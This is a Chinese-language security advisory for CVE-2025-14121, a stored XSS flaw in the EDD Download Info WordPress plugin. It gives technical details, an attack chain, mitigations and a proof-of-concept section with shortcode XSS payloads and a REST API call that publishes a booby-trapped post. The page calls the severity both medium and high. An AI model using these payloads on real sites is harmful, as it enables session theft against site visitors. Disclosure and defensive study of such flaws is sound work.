IPBUF安全漏洞报告
English
CVE-2025-14121 CVSS 6.4 中危

CVE-2025-14121: EDD Download Info WordPress插件存储型XSS漏洞

披露日期: 2026-01-07

漏洞信息

漏洞编号
CVE-2025-14121
漏洞类型
存储型XSS
CVSS评分
6.4 中危
攻击向量
网络 (AV:N)
认证要求
低权限 (PR:L)
用户交互
无需交互 (UI:N)
影响产品
EDD Download Info WordPress插件

相关标签

存储型XSSWordPress插件漏洞CVE-2025-14121EDD Download Info短代码注入WordPress安全跨站脚本认证用户攻击

漏洞概述

CVE-2025-14121是WordPress插件EDD Download Info中的一个高危安全漏洞,该漏洞允许经过身份验证的攻击者在受影响的网站上执行存储型跨站脚本(Stored XSS)攻击。EDD Download Info是一款用于WordPress的插件,主要用于在页面或文章中显示Easy Digital Downloads(EDD)下载信息。该插件在处理'edd_download_info_link'短代码时,对用户提供的属性参数缺乏充分的输入清理和输出转义。攻击者只需拥有WordPress网站的贡献者(Contributor)或更高权限账户,即可利用此漏洞在页面中注入恶意JavaScript代码。一旦恶意代码被存储,任何访问包含该短代码页面的用户都会触发执行,从而可能导致会话劫持、凭据窃取、恶意重定向等严重安全后果。由于该漏洞属于存储型XSS,其危害性远高于反射型XSS,攻击效果可长期持续。此漏洞影响插件1.1及以下所有版本。

技术细节

漏洞根源在于shortcodes.php文件中对短代码属性的处理逻辑。在第43行附近,插件直接使用用户提供的属性值构建HTML链接元素,而未进行适当的输入验证和输出转义。具体来说,当攻击者通过'edd_download_info_link'短代码插入包含恶意脚本的属性时(如url参数),插件直接将该值插入到HTML的href属性中。例如,攻击者可以构造如下短代码:[edd_download_info_link url='javascript:alert(document.cookie)'],插件会将其渲染为<a href='javascript:alert(document.cookie)'>链接</a>。由于缺乏HTML实体编码,浏览器会将其识别为JavaScript协议并在点击时执行。存储型XSS的特点是恶意代码被永久存储在数据库中,所有访问该页面的用户都会受到攻击。攻击者通常利用此漏洞窃取用户会话cookie、修改页面内容或进行钓鱼攻击。攻击者需要至少具有贡献者权限,这意味着他们可以创建和编辑草稿文章,从而插入恶意短代码。

攻击链分析

STEP 1
步骤1
攻击者获取WordPress网站的贡献者(Contributor)或更高权限账户
STEP 2
步骤2
攻击者创建或编辑文章/页面,插入包含恶意JavaScript的'edd_download_info_link'短代码
STEP 3
步骤3
恶意短代码被保存到数据库中,恶意脚本被永久存储(存储型XSS)
STEP 4
步骤4
受害者访问包含恶意短代码的页面,浏览器解析HTML并执行注入的JavaScript代码
STEP 5
步骤5
攻击者通过JavaScript窃取受害者的会话cookie、凭据或其他敏感信息,或进行其他恶意操作

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
// CVE-2025-14121 PoC - EDD Download Info Stored XSS // Author: Security Researcher // Target: EDD Download Info WordPress Plugin <= 1.1 // Method 1: Using the vulnerable shortcode with javascript protocol [edd_download_info_link url='javascript:alert(document.domain)']Click Here[/edd_download_info_link] // Method 2: Using event handlers in URL attribute [edd_download_info_link url='xss' onload='alert(document.cookie)']Link Text[/edd_download_info_link] // Method 3: Data URL payload [edd_download_info_link url='data:text/html,<script>alert(document.cookie)</script>']Click[/edd_download_info_link] // WordPress REST API exploitation (requires Contributor role): const payload = { title: 'Malicious Page', content: '[edd_download_info_link url="javascript:alert(document.cookie)"]Click Here[/edd_download_info_link]', status: 'publish' }; fetch('/wp-json/wp/v2/posts', { method: 'POST', headers: { 'Content-Type': 'application/json', 'X-WP-Nonce': wpNonce }, body: JSON.stringify(payload) });

影响范围

EDD Download Info WordPress插件 <= 1.1

防御指南

临时缓解措施
如果无法立即更新插件,可以临时采取以下措施:1) 禁用或删除EDD Download Info插件;2) 限制用户注册和文章编辑权限,仅允许管理员创建内容;3) 使用WordPress安全插件(如Wordfence)添加额外的输入验证层;4) 实施内容安全策略(CSP)头部减少XSS攻击影响;5) 定期审查网站所有文章和页面内容,移除可疑的短代码使用。

参考链接

快速导航: 前沿安全 最新收录域名列表 最新威胁情报列表 最新网站排名列表 最新工具资源列表 最新CVE漏洞列表